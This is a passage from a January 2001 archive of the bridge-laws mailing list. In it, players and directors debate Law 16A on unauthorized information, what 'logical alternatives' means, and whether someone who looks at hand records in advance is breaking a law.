damage, and non-offenders get >full benefit of doubt when deciding what redress is appropriate for them. AG : to put a long story short, 'a game is wholly defined by its set of laws' -no other law should apply. I mean, if you abduct some other player (it happened !), you aren't liable to any procedural penalties. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 21:18:02 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09AHhT18011 for bridge-laws-outgoing; Tue, 9 Jan 2001 21:17:43 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iae.nl (postfix@mail.iae.nl [194.151.64.19]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09AHbt18007 for ; Tue, 9 Jan 2001 21:17:38 +1100 (EST) Received: from default (pm17d492.iae.nl [212.61.5.238]) by mail.iae.nl (Postfix) with SMTP id 3D15320F59 for ; Tue, 9 Jan 2001 11:17:32 +0100 (CET) Message-ID: <008a01c07a25$58ad39a0$LocalHost@default> From: "Ben Schelen" To: "bridge-laws" References: Subject: Re: [BLML] Ruckus at the Club Date: Tue, 9 Jan 2001 11:10:17 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > >Just such a situation occurred at my > >club on Friday night. During an > >auction, pard provided blatant UI. I > >then chose a call which the UI suggested > >(because I thought that I had no other > >LA). > > > >I summoned the TD to get a ruling, but > >was (correctly) informed that under > >L16A only an opponent could ask for a > >ruling. > > > >L16A is the single most likely Law to > >create a *fraught* situation. Therefore, > >perhaps the 2008 Laws should give the > >side which has possibly infracted L16A, > >the option to ask the TD for a > >potentially adverse ruling. > > There is nothing to stop you telling the Director about a possible > breach of L73C. > I do not agree because L73C does not say that; it only says that a player must avoid taking any advantage of it.. On the contrary L16A is a specific law and according to lawyers would overrule a general law. On the other hand summoning the TD would give partner UI that you received and understood the UI. Besides that, summoning the TD will not help you to make the right LA. After summoning the TD your call must be treated as suspicious as without summoning! So according to me L16A is correct and well-considered in this respect. Ben -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 9 23:51:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09Cnxn08080 for bridge-laws-outgoing; Tue, 9 Jan 2001 23:49:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-2.cais.net (stmpy-2.cais.net [205.252.14.72]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09Cnpt08035 for ; Tue, 9 Jan 2001 23:49:52 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-2.cais.net (8.11.1/8.11.1) with ESMTP id f09Cnkf30907 for ; Tue, 9 Jan 2001 07:49:47 -0500 (EST) Message-Id: <4.3.2.7.1.20010109074546.00af3890@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 09 Jan 2001 07:51:04 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] What is suggested ? In-Reply-To: <00d501c079e1$5b1550e0$56991e18@san.rr.com> References: <200101082040.MAA29361@mailhub.irvine.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 09:03 PM 1/8/01, Marvin wrote: >Saying that you may not select a certain item out of a set (negative) is >equivalent to saying you may select anything out of the set except a >certain >item (positive), isn't it? I don't see that either permits selecting from >another set. No, it isn't. Granted, context is all, but without context to establish the alternate interpretation, saying you may not select a certain item out of a set says only that you may not select any other item from that set, and that's all. I have a house full of books, and many of my friends use it as a lending library. They have all been told explicitly that they may not borrow any books from the top two shelves of the bookcase in the master bedroom (that's where I keep the new books I haven't read yet). It has never occurred to any of them that I might be restricting them to selecting from only the lower shelves of that one bookcase. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 00:16:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09DGd009105 for bridge-laws-outgoing; Wed, 10 Jan 2001 00:16:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09DGWt09101 for ; Wed, 10 Jan 2001 00:16:33 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14Fyd8-00068k-0V for bridge-laws@rgb.anu.edu.au; Tue, 9 Jan 2001 13:16:04 +0000 Message-ID: Date: Tue, 9 Jan 2001 12:06:27 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Ruckus at the Club References: <008a01c07a25$58ad39a0$LocalHost@default> In-Reply-To: <008a01c07a25$58ad39a0$LocalHost@default> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ben Schelen writes > >> >Just such a situation occurred at my >> >club on Friday night. During an >> >auction, pard provided blatant UI. I >> >then chose a call which the UI suggested >> >(because I thought that I had no other >> >LA). >> > >> >I summoned the TD to get a ruling, but >> >was (correctly) informed that under >> >L16A only an opponent could ask for a >> >ruling. >> > >> >L16A is the single most likely Law to >> >create a *fraught* situation. Therefore, >> >perhaps the 2008 Laws should give the >> >side which has possibly infracted L16A, >> >the option to ask the TD for a >> >potentially adverse ruling. >> >> There is nothing to stop you telling the Director about a possible >> breach of L73C. >> >I do not agree because L73C does not say that; it only says that a player >must avoid taking any advantage of it.. If a player must avoid doing something, failure to avoid is an infraction and can be drawn to the Director's attention. > On the contrary L16A is a specific >law and according to lawyers would overrule a general law. I do not believe that. First, why should "lawyers" be involved? Second, breaches of L73C are dealt with under L73F. >On the other hand summoning the TD would give partner UI that you received >and understood the UI. I am not suggesting summoning the Director during the hand necessarily - the original post suggested it would not be acceptable to get the TD at the end of the hand. >Besides that, summoning the TD will not help you to make the right LA. After >summoning the TD your call must be treated as suspicious as without >summoning! That's very unfair. The player concerned was trying to be fair to the opponents, not to gain from calling the TD. Many people play that way. >So according to me L16A is correct and well-considered in this respect. No, you cannot ignore L73 in this way. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 03:32:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09GVaN16543 for bridge-laws-outgoing; Wed, 10 Jan 2001 03:31:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout1-1.nyroc.rr.com (mailout1-0.nyroc.rr.com [24.92.226.81]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09GVUt16539 for ; Wed, 10 Jan 2001 03:31:31 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout1-1.nyroc.rr.com (8.9.3/8.9.3) with ESMTP id LAA21578 for ; Tue, 9 Jan 2001 11:27:27 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <3.0.6.32.20010109103924.008124e0@pop.ulb.ac.be> References: <200101082201.OAA31270@mailhub.irvine.com> <3.0.6.32.20010109103924.008124e0@pop.ulb.ac.be> Date: Tue, 9 Jan 2001 11:26:57 -0500 To: Bridge Laws From: Ed Reppert Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 >Law 6D1 : you saw somebody else's cards before the deal began and didn't >mention it. (9B1a) >Law 72A1 : this law is nearly always infringed when you do something >irregular. > > >Law 16B says what the director should do if this happens. Hm. Law 9A1 says "unless prohibited by law, any player *may* call attention to an irregularity...". [The emphasis is mine]. 9B1 deals with what happens after attention is called. But 9A1 says "may" - it does not *require* that attention be drawn. If attention is not drawn, 9B1 is not in effect. Regarding 72A1, I think the point of the question was that there seems to be nothing in the laws that specifically prohibits looking at the hand record before the hand is played. Sure, "everybody knows" that "you can't do that," but.. which law says so? 6D1: he didn't see anyone else's cards, he saw a hand record. :-) And if they aren't the first table to play this board, how can you have a new deal? Regards, Ed mailto:ereppert@rochester.rr.com pgp public key available at ldap://certserver.pgp.com or http://pgpkeys.mit.edu:11371 pgp fingerprint: 91BE CB97 E4AE D411 6C73 30E7 BD94 5B76 AEF7 7BCE -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBOls83b2UW3au93vOEQIuFwCeMFyXZqiQ+F5woXAfC5bS13ZW/M0AoJKp I32khqG/4IeIdq5Xnd8isiGk =qFqp -----END PGP SIGNATURE----- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 03:51:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09Gp7816616 for bridge-laws-outgoing; Wed, 10 Jan 2001 03:51:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09Gp0t16612 for ; Wed, 10 Jan 2001 03:51:01 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id RAA17408; Tue, 9 Jan 2001 17:48:26 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id RAA09296; Tue, 9 Jan 2001 17:50:49 +0100 (MET) for Message-Id: <3.0.6.32.20010109180256.00817560@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 09 Jan 2001 18:02:56 +0100 To: bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] What is suggested ? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >Date: Tue, 09 Jan 2001 18:02:40 +0100 >To: Eric Landau >From: alain gottcheiner >Subject: Re: [BLML] What is suggested ? >In-Reply-To: <4.3.2.7.1.20010109074546.00af3890@127.0.0.1> >References: <00d501c079e1$5b1550e0$56991e18@san.rr.com> <200101082040.MAA29361@mailhub.irvine.com> > >At 07:51 9/01/01 -0500, you wrote: >>At 09:03 PM 1/8/01, Marvin wrote: >> >>>Saying that you may not select a certain item out of a set (negative) is >>>equivalent to saying you may select anything out of the set except a >>>certain >>>item (positive), isn't it? I don't see that either permits selecting from >>>another set. >> >>No, it isn't. Granted, context is all, but without context to >>establish the alternate interpretation, saying you may not select a >>certain item out of a set says only that you may not select any other >>item from that set, and that's all. >> >>I have a house full of books, and many of my friends use it as a >>lending library. They have all been told explicitly that they may not >>borrow any books from the top two shelves of the bookcase in the master >>bedroom (that's where I keep the new books I haven't read yet). It has >>never occurred to any of them that I might be restricting them to >>selecting from only the lower shelves of that one bookcase. > >AG : let me introduce another example. The Lord said to the Jews : 'thou shall neither eat or drink the blood of any animal, nor its tallow, under no one form.' Here implicit is the idea that they may eat some other parts of said animals. It has never been said that they may not eat vegetables. > > A. > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 04:35:34 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09HYwP16747 for bridge-laws-outgoing; Wed, 10 Jan 2001 04:34:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from guppy.vub.ac.be (guppy.vub.ac.be [134.184.129.2]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09HYpt16743 for ; Wed, 10 Jan 2001 04:34:51 +1100 (EST) Received: from mach.vub.ac.be (mach.vub.ac.be [134.184.129.3]) by guppy.vub.ac.be (8.9.1b+Sun/3.17.0.ap (guppy)) id SAA02846; Tue, 9 Jan 2001 18:32:17 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id SAA00055; Tue, 9 Jan 2001 18:34:40 +0100 (MET) for Message-Id: <3.0.6.32.20010109184646.00813800@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 09 Jan 2001 18:46:46 +0100 To: Ed Reppert , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] In-Reply-To: References: <3.0.6.32.20010109103924.008124e0@pop.ulb.ac.be> <200101082201.OAA31270@mailhub.irvine.com> <3.0.6.32.20010109103924.008124e0@pop.ulb.ac.be> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:26 9/01/01 -0500, you wrote: > >>Law 6D1 : you saw somebody else's cards before the deal began and didn't >>mention it. (9B1a) >>Law 72A1 : this law is nearly always infringed when you do something >>irregular. >> >> >>Law 16B says what the director should do if this happens. > >Hm. Law 9A1 says "unless prohibited by law, any player *may* call >attention to an irregularity...". [The emphasis is mine]. 9B1 deals >with what happens after attention is called. But 9A1 says "may" - it >does not *require* that attention be drawn. If attention is not >drawn, 9B1 is not in effect. AG : Law 9B1b says that any player may call, that is, either the culprit, his partner, or the opponents. Law 9B1a, to which I refer, requires that the TD be called when an irregularity has occured and has been noticed. Since you knew correct procedure wasn't followed (you saw somebody else's cards) and didn't react properly (by calling the director to tell him), you committed an irregularity, in the same way that if you noticed an opponent's OLOOT (or anything) and didn't tell anybody. >Regarding 72A1, I think the point of the question was that there >seems to be nothing in the laws that specifically prohibits looking >at the hand record before the hand is played. Sure, "everybody knows" >that "you can't do that," but.. which law says so? AG : none. But L6D1 says that a deal shall not be played at one table if any player saw the cards of any other. >6D1: he didn't see anyone else's cards, he saw a hand record. :-) And >if they aren't the first table to play this board, how can you have a >new deal? AG : you can't. See L12A2 and 12C1. Alain. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 05:59:37 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09Iwui16995 for bridge-laws-outgoing; Wed, 10 Jan 2001 05:58:56 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iae.nl (postfix@mail.iae.nl [194.151.64.19]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09Iwnt16991 for ; Wed, 10 Jan 2001 05:58:49 +1100 (EST) Received: from default (pm17d358.iae.nl [212.61.5.104]) by mail.iae.nl (Postfix) with SMTP id 6C28B20F3E for ; Tue, 9 Jan 2001 19:58:44 +0100 (CET) Message-ID: <006601c07a6e$28aa1400$LocalHost@default> From: "Ben Schelen" To: "bridge-laws" References: <008a01c07a25$58ad39a0$LocalHost@default> Subject: Re: [BLML] Ruckus at the Club Date: Tue, 9 Jan 2001 19:47:56 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "David Stevenson" To: Sent: Tuesday, January 09, 2001 1:06 PM Subject: Re: [BLML] Ruckus at the Club > Ben Schelen writes > > > >> >Just such a situation occurred at my > >> >club on Friday night. During an > >> >auction, pard provided blatant UI. I > >> >then chose a call which the UI suggested > >> >(because I thought that I had no other > >> >LA). > >> > > >> >I summoned the TD to get a ruling, but > >> >was (correctly) informed that under > >> >L16A only an opponent could ask for a > >> >ruling. > >> > > >> >L16A is the single most likely Law to > >> >create a *fraught* situation. Therefore, > >> >perhaps the 2008 Laws should give the > >> >side which has possibly infracted L16A, > >> >the option to ask the TD for a > >> >potentially adverse ruling. > >> > >> There is nothing to stop you telling the Director about a possible > >> breach of L73C. > >> > >I do not agree because L73C does not say that; it only says that a player > >must avoid taking any advantage of it.. > > If a player must avoid doing something, failure to avoid is an > infraction and can be drawn to the Director's attention. > > > On the contrary L16A is a specific > >law and according to lawyers would overrule a general law. > > I do not believe that. First, why should "lawyers" be involved? > Second, breaches of L73C are dealt with under L73F. > > >On the other hand summoning the TD would give partner UI that you received > >and understood the UI. > > I am not suggesting summoning the Director during the hand necessarily > - the original post suggested it would not be acceptable to get the TD > at the end of the hand. > > >Besides that, summoning the TD will not help you to make the right LA. After > >summoning the TD your call must be treated as suspicious as without > >summoning! > > That's very unfair. The player concerned was trying to be fair to the > opponents, not to gain from calling the TD. Many people play that way. @ A fair player is still fair after play ends. Now he can summon the TD. Do you believe that the lawmakers made that difference between L16A and L16B unintentionally ? No; in my view on purpose. > >So according to me L16A is correct and well-considered in this respect. > > No, you cannot ignore L73 in this way. > > > -- > David Stevenson Liverpool, England, UK > > For help in rulings see the International Bridge Laws Forum > at http://blakjak.com/iblf.htm > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 06:35:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09JYbH23160 for bridge-laws-outgoing; Wed, 10 Jan 2001 06:34:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09JYTt23115 for ; Wed, 10 Jan 2001 06:34:30 +1100 (EST) Received: from dodona (host213-1-31-112.host.btclick.com [213.1.31.112]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id TAA13061 for ; Tue, 9 Jan 2001 19:34:01 GMT Message-ID: <000801c07a73$5ddf0ae0$701f01d5@dodona> From: "Grattan Endicott" To: "Bridge Laws" References: <67378DEA146DD21194C20000F87B08BA01B8B764@fdwag002s.fd.agro.nl> Subject: Re: [BLML] What is suggested ? Date: Tue, 9 Jan 2001 19:34:31 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott 'Suspicions amongst thoughts are like bats amongst birds, they ever fly by twilight.' - Francis Bacon. <===> ----- Original Message ----- From: Kooijman, A. To: 'Adam Beneschan' ; Bridge Laws Sent: Tuesday, January 09, 2001 8:43 AM Subject: RE: [BLML] What is suggested ? ------------------------ \x/ ------------- > > Many years ago I wasn't here. But this discussion > suports my idea that the word 'logical' should be > used for the not chosen call being available (16A2). > Pass is a logical alternative here. And 6NT certainly > is suggested by the extraneous information. The > question whether it is logical or not is irrelevant. > +=+ I am glad you said this, ton. Reading this thread I have been asking myself whether some of the contributors have overlooked the words "could have been suggested by" in 16A2. +=+ > > I know that some of us want to take away such an > advantage or give redress for the damage but we > have to find a non existing law for that. > +=+ I do not believe the lawmakers have ever considered that 'damage' is a word applicable to any result obtained without an infraction of law or regulation. We should establish confines for the game but not intrude upon a player's right to judge or gamble as he will within that setting. Merely to have a goal scored against you by a fluke may cause pain but in law it is not damage, albeit damaging. I would not want to tinker with this aspect of the game in any review of the laws. Poor players are entitled to good results when they get them from illogical actions and it is not our job to tilt the table in favour of the better players. ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 07:00:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09K03s02300 for bridge-laws-outgoing; Wed, 10 Jan 2001 07:00:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f17.law3.hotmail.com [209.185.241.17]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09Jxut02258 for ; Wed, 10 Jan 2001 06:59:57 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 9 Jan 2001 11:59:49 -0800 Received: from 172.147.235.189 by lw3fd.law3.hotmail.msn.com with HTTP; Tue, 09 Jan 2001 19:59:49 GMT X-Originating-IP: [172.147.235.189] From: "Todd Zimnoch" To: bridge-laws@rgb.anu.edu.au Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] Date: Tue, 09 Jan 2001 11:59:49 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 09 Jan 2001 19:59:49.0152 (UTC) FILETIME=[B8CC9A00:01C07A76] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk The ACBL deals with this problem as a disciplinary problem: http://www.acbl.org/tournaments/Recorder/dispregs.htm ----- ... 2. Grounds for Discipline 2.1 Violation of the proprieties codified in the Laws of Duplicate Contract Bridge. 2.2 Violation of ACBL regulations. ... E13 Intentionally gain access to hand records (P2.1 & 2.2) (2-year Suspension to Expulsion) ... ----- The proprieties only lead me to 72A1 and 72B2. I imagine that 6E4 is the law being broken, where the rules about using hand records are governed by regulation. However, I can't find regulations concerning the use of hand records. -Todd _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 08:42:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09LfLv03448 for bridge-laws-outgoing; Wed, 10 Jan 2001 08:41:21 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09LfDt03397 for ; Wed, 10 Jan 2001 08:41:14 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id MAA24006 for ; Tue, 9 Jan 2001 12:55:24 -0900 Date: Tue, 9 Jan 2001 12:41:27 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] In-Reply-To: <3A5A6B69.3FA6BD7F@mindspring.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Mon, 8 Jan 2001, John R. Mayne wrote: > > A second problem exists. Suppose I deliberately arrange to receive the > hand records of the day's events prior to those events taking place, and > thus receive illicit information. I then play and use the information > culled from the hand records to maximize my results. > > What law(s) have I broken? It is a little bit of a stretch, but I would try 73B2. I am inclined to think of reading written material as a 'method of communication' even if you don't choose to reply to the author. If you've said a single word to partner about it, the case is clear. If you haven't let him in on the scam.... well... I fall back on the old "the headings are not part of the laws" proviso to justify my overlooking the "between partners" in the header of 73B. You could try 74A2, too. I would be both annoyed and embarrassed if one of my opponents was playing double-dummy instead of stuggling along like I was. And even if you do claim to have violated no law, I am sure the director will use 90 or 91 or both to toss you out on your ear as soon as he hears what you have done and ask questions later. 90B8 indicates you don't have to actually break a law to get in trouble. It is interesting that L16B refers only to accidentally received information. If it didn't, you would simply appoint a substitute for the entire evening, i.e., not let the person who saw the hands play at all that night. The implication, I think, is that the lawmakers didn't want to come right out and stay "here's what to do to stop a cheat." I agree that stopping cheats is the business of CD&E committtees and the regulations of SOs, rather than the laws. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 10 08:50:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f09Lo5Z03679 for bridge-laws-outgoing; Wed, 10 Jan 2001 08:50:05 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from psa836.la.asu.edu (root@psa836.la.asu.edu [129.219.44.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f09Lnxt03675 for ; Wed, 10 Jan 2001 08:49:59 +1100 (EST) Received: from localhost (grabiner@localhost) by psa836.la.asu.edu (8.10.2/8.10.2) with ESMTP id f09ExfM07736; Tue, 9 Jan 2001 14:59:41 GMT Date: Tue, 9 Jan 2001 14:59:41 +0000 (/etc/localtime) From: David J Grabiner To: bridge-laws@rgb.anu.edu.au cc: Bridge Laws Subject: RE: [BLML] Equity or simplicity? In-Reply-To: <3.0.32.20010109001333.00724ae0@pullman.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Tue, 9 Jan 2001, N. Scott Cardell wrote: > At 03:43 PM 1/7/01 +0000, David Grabiner wrote: > >> 1) Institute a statute of limitations on changing the contract due to a > >> hesitation in the bidding. The statute of limitation should end when the > >> opening lead is made. > > > >This would lead to many more director calls. If no adjustment is > >possible after the opening lead is made, then calls which could be > >suggested by hesitation but are likely to be permitted will always have > >to be questioned during the auction. > > I disagree. > >Consider the auction > > > >(1C)-X-(2C)-..P-(P)-X-(P)-2H > > > >If the hesitation is established and the doubler is a decent player, > >then I would expect the second double to be legitimate 95% of the time. > >If dummy comes down with a minimum balanced double like KQx Kxxx Axxx > >xx, the director can be called. But if dummy has a 4-4-4-1 13-count, > >passing out 2C is not an LA. > > I would not call the director in this situation (under either set of > rules). I am willing to lose some potential redress for damage if I can > get back to playing bridge! I would not call the director in this situation under the current rules. And I would not go for a double shot if dummy is KQxx KJxx Axxx x; someone could argue that passing is a LA here, and this is the problem you are trying to avoid. But there is the principle that you should never do worse than you would against ethical opponents. > >Both sides must have all the information available in order to make > >this decision, and they will not have it if the logical alternatives > >depend on an opponent's hand. > > My LA's depend on my opponent's hand????????? This sounds like an > assertion that one deserves a double shot. "If spades break well for us > than a 4S sacrifice is an LA." :( In a UI situation, it is impossible to know whether an *opponent* had LA's without looking at his hand. The NOS cannot 